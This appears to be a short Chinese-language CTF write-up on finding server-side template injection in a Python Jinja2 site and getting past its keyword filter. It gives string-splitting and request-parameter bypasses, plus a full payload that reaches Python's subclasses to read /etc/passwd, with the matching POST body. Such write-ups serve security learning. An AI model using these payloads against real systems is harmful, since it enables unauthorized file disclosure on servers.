知识点1:如何确定存在SSTI注入
知识点2:有些关键字被禁了,如何绕过
一.如何确定存在SSTI
根据网站图片和题目描述的提示,大象是php,蟒蛇是python,说明了这个网站是用python写的
在python中,比较常规的漏洞就是SSTI模板注入
尝试验证漏洞
很明显,是存在漏洞的
同时,也存在过滤关键字段
二.SSTI绕过
参考链接:
SSTI模板注入绕过(进阶篇)_yu22x的博客-CSDN博客_ssti绕过
SSTI模板注入及绕过姿势(基于Python-Jinja2)_Y4tacker的博客-CSDN博客_ssti绕过
经过一系列参数的提交,发现过滤了这些字段
class,mro,subclasses
方法1
通过拼接字符串即
.__class__ -> ["__c""lass__"]
.->[] __class__ -> "__c""lass__"
需要注意的是,代表函数的()需要放在[]外面
方法2
通过传递参数绕过
GET方式
{{''.__class__}} => {{''[request.args.t1]}}?t1=__class__
POST方式:需要分成两步走
{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
接着给这个页面发一个post的请求包
class=__class__&mro=__mro__&subclasses=__subclasses__